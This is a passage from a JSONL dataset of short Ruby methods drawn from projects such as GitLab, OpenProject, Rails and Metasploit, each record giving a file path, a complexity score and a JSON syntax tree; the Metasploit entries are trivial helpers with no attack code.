end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_field\",{\"type\":\"str\",\"children\":[\"editable-toolbar-title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}]},\"click\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"send_keys\",{\"type\":\"sym\",\"children\":[\"enter\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_and_dismiss_toaster\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.notice_successful_update\"]}]}]}]}]}]}]}","id":"f24e614b-382b-494b-baed-9e6105e4bcdb"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog_field_check_box.rb","start_line":4,"raw_source":"def checked?\n value == \"t\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"checked?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"t\"]}]}]}","id":"43d0132e-2c42-4a9d-8474-1244f6883645"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/time_partition.rb","start_line":58,"raw_source":"def ==(other)\n table == other.table && partition_name == other.partition_name && from == other.from && to == other.to\n end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partition_name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"partition_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"to\"]}]}]}]}","id":"108f4c28-7496-4ff9-bc69-402b0c205b0c"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-topic-voting/spec/system/page_objects/pages/topic.rb","start_line":36,"raw_source":"def click_vote_popup_activity\n find(\".voting-popup-menu a\").click\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_vote_popup_activity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".voting-popup-menu a\"]}]},\"click\"]}]}","id":"7a984756-4206-4051-8d51-9234a95aa123"} {"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/acts_as_ar_scope_spec.rb","start_line":14,"raw_source":"def self.aar_scope\n Vm.where(:id => vm_ids)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"aar_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vm\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"vm_ids\"]}]}]}]}]}","id":"b493be31-3792-46ae-b075-174567e92e04"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package_types/patterns/token_property_mapper.rb","start_line":127,"raw_source":"def work_package_cfs_for(type)\n all_work_package_cfs.merge(type.custom_fields)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_cfs_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_work_package_cfs\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"custom_fields\"]}]}]}","id":"80000b23-4b63-4786-898d-f7da98bfdb2a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/decomposition/migrate.rb","start_line":60,"raw_source":"def diskspace_free\n Sys::Filesystem.stat(\n File.expand_path(\"#{@backup_location}/../\")\n ).bytes_free\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diskspace_free\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sys\"]},\"Filesystem\"]},\"stat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@backup_location\"]}]},{\"type\":\"str\",\"children\":[\"/../\"]}]}]}]},\"bytes_free\"]}]}","id":"9a983fc5-bfd1-4c68-8e95-902d1701f1dd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250519112444_set_zoekt_lost_node_threshold.rb","start_line":21,"raw_source":"def down\n execute(<<~SQL)\n UPDATE application_settings\n SET zoekt_settings = jsonb_set(\n zoekt_settings,\n '{zoekt_auto_delete_lost_nodes}',\n 'false'\n )\n WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\n AND zoekt_settings->>'zoekt_lost_node_threshold' = '0'\n SQL\n\n execute(<<~SQL)\n UPDATE application_settings\n SET zoekt_settings = jsonb_set(\n zoekt_settings,\n '{zoekt_auto_delete_lost_nodes}',\n 'true'\n )\n WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\n AND zoekt_settings->>'zoekt_lost_node_threshold' != '0'\n SQL\n\n execute(<<~SQL)\n UPDATE application_settings\n SET zoekt_settings = zoekt_settings - 'zoekt_lost_node_threshold'\n WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\n SQL\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET zoekt_settings = jsonb_set(\\n\"]},{\"type\":\"str\",\"children\":[\" zoekt_settings,\\n\"]},{\"type\":\"str\",\"children\":[\" '{zoekt_auto_delete_lost_nodes}',\\n\"]},{\"type\":\"str\",\"children\":[\" 'false'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\\n\"]},{\"type\":\"str\",\"children\":[\"AND zoekt_settings->>'zoekt_lost_node_threshold' = '0'\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET zoekt_settings = jsonb_set(\\n\"]},{\"type\":\"str\",\"children\":[\" zoekt_settings,\\n\"]},{\"type\":\"str\",\"children\":[\" '{zoekt_auto_delete_lost_nodes}',\\n\"]},{\"type\":\"str\",\"children\":[\" 'true'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\\n\"]},{\"type\":\"str\",\"children\":[\"AND zoekt_settings->>'zoekt_lost_node_threshold' != '0'\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET zoekt_settings = zoekt_settings - 'zoekt_lost_node_threshold'\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\\n\"]}]}]}]}]}","id":"dc67b8ea-d0e0-4b6b-bc3c-a4cf9f2aaf91"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/endpoints/sql_index.rb","start_line":55,"raw_source":"def calculate_resulting_params(query, provided_params)\n super.tap do |params|\n params[:select] = nested_from_csv(provided_params[\"select\"]) || { \"*\" => {}, \"elements\" => { \"*\" => {} } }\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_resulting_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"provided_params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"select\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nested_from_csv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provided_params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"select\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"elements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"f900a09b-6e68-446c-9e64-0ad20799443e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/coverage/documents/jacoco_document.rb","start_line":46,"raw_source":"def parse_line(node_attrs)\n matched_path = matched_full_path\n return unless matched_path\n\n coverage_data = { node_attrs.fetch('nr').to_i => node_attrs.fetch('ci').to_i }\n coverage_report.add_file(matched_path, coverage_data)\n rescue KeyError\n raise Jacoco::InvalidLineInformationError, \"Line information had invalid attributes\"\n end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node_attrs\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matched_path\",{\"type\":\"send\",\"children\":[null,\"matched_full_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched_path\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"coverage_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_attrs\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"nr\"]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_attrs\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"ci\"]}]},\"to_i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"coverage_report\"]},\"add_file\",{\"type\":\"lvar\",\"children\":[\"matched_path\"]},{\"type\":\"lvar\",\"children\":[\"coverage_data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jacoco\"]},\"InvalidLineInformationError\"]},{\"type\":\"str\",\"children\":[\"Line information had invalid attributes\"]}]}]},null]}]}","id":"4d9e317a-c333-40d4-a9dc-0f8969400729"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/authorization/user_roles_query.rb","start_line":35,"raw_source":"def self.query(*)\n arel = transformed_query(*)\n\n model.where(roles_table[:id].in(arel))\n end","complexity_score":8.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"query\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arel\",{\"type\":\"send\",\"children\":[null,\"transformed_query\",{\"type\":\"forwarded_restarg\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"roles_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"in\",{\"type\":\"lvar\",\"children\":[\"arel\"]}]}]}]}]}","id":"45447cba-fbe3-4b8b-b78b-cdc740192c72"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mail_layout_test.rb","start_line":78,"raw_source":"def test_should_pickup_layout_given_to_render\n mail = AutoLayoutMailer.spam\n assert_equal \"Spammer layout Hello, Earth\", mail.body.to_s.strip\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_pickup_layout_given_to_render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mail\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AutoLayoutMailer\"]},\"spam\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Spammer layout Hello, Earth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"body\"]},\"to_s\"]},\"strip\"]}]}]}]}","id":"89950e6f-649c-4374-985f-582abba80669"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb","start_line":45,"raw_source":"def Power.reboot(force = 0, reason = 0)\n self._exitwindows(EWX_REBOOT, reason, force)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Power\"]},\"reboot\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"force\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_exitwindows\",{\"type\":\"const\",\"children\":[null,\"EWX_REBOOT\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}","id":"76a35ecb-c04d-453a-ac14-9aa439810177"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slug/environment.rb","start_line":40,"raw_source":"def shorten_and_add_suffix(slug)\n slug = slug[0..16]\n slug << '-' unless slug.ends_with?('-')\n slug << suffix\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"shorten_and_add_suffix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\"-\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"suffix\"]}]}]}]}","id":"5835a434-eab2-4633-a37f-2d4a584eeabc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/webmin_file_manager_rce.rb","start_line":72,"raw_source":"def login\n webmin_login(datastore['USERNAME'], datastore['PASSWORD'])\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"webmin_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}","id":"45094caa-3efe-4253-87d5-57be2840e0f2"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/enumerable_test.rb","start_line":256,"raw_source":"def test_index_with\n payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])\n\n assert_equal({ Payment.new(5) => 5, Payment.new(15) => 15, Payment.new(10) => 10 }, payments.index_with(&:price))\n\n assert_equal({ title: nil, body: nil }, %i( title body ).index_with(nil))\n assert_equal({ title: [], body: [] }, %i( title body ).index_with([]))\n assert_equal({ title: {}, body: {} }, %i( title body ).index_with({}))\n\n assert_equal Enumerator, payments.index_with.class\n assert_nil payments.index_with.size\n assert_equal 42, (1..42).index_with.size\n assert_equal({ Payment.new(5) => 5, Payment.new(15) => 15, Payment.new(10) => 10 }, payments.index_with.each(&:price))\n end","complexity_score":44.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_index_with\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payments\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericEnumerable\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"index_with\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"index_with\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"index_with\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[42]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[42]}]}]},\"index_with\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]}]}]}]}]}]}","id":"60187e8d-0d4e-46b6-9e03-315e9260f3ec"} {"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/wishlists_controller.rb","start_line":52,"raw_source":"def default\n spree_authorize! :create, Spree::Wishlist\n\n @default_wishlist = spree_current_user.default_wishlist_for_store(current_store)\n\n render_serialized_payload { serialize_resource(@default_wishlist) }\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Wishlist\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_wishlist\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_current_user\"]},\"default_wishlist_for_store\",{\"type\":\"send\",\"children\":[null,\"current_store\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_serialized_payload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"serialize_resource\",{\"type\":\"ivar\",\"children\":[\"@default_wishlist\"]}]}]}]}]}","id":"dabc8405-515b-4917-ab07-1cbde8fe822e"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/macros_controller.rb","start_line":13,"raw_source":"def create\n @macro = Current.account.macros.new(macros_with_user.merge(created_by_id: current_user.id))\n @macro.set_visibility(current_user, permitted_params)\n @macro.actions = params[:actions]\n\n render json: { error: @macro.errors.messages }, status: :unprocessable_entity and return unless @macro.valid?\n\n @macro.save!\n process_attachments\n @macro\n end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@macro\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"macros\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"macros_with_user\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_by_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"set_visibility\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"permitted_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"actions=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"actions\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"valid?\"]},null,{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"errors\"]},\"messages\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"process_attachments\"]},{\"type\":\"ivar\",\"children\":[\"@macro\"]}]}]}","id":"b6f194fd-f423-49c6-8973-e69328830df7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/container_registry/protection/check_rule_existence_service.rb","start_line":44,"raw_source":"def check_rule_exists_for_user\n return false if current_user.can_admin_all_resources?\n\n project.container_registry_protection_rules.for_action_exists?(\n action: params[:action],\n access_level: project.team.max_member_access(current_user.id),\n repository_path: params[:repository_path]\n )\n end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_rule_exists_for_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_admin_all_resources?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"container_registry_protection_rules\"]},\"for_action_exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\"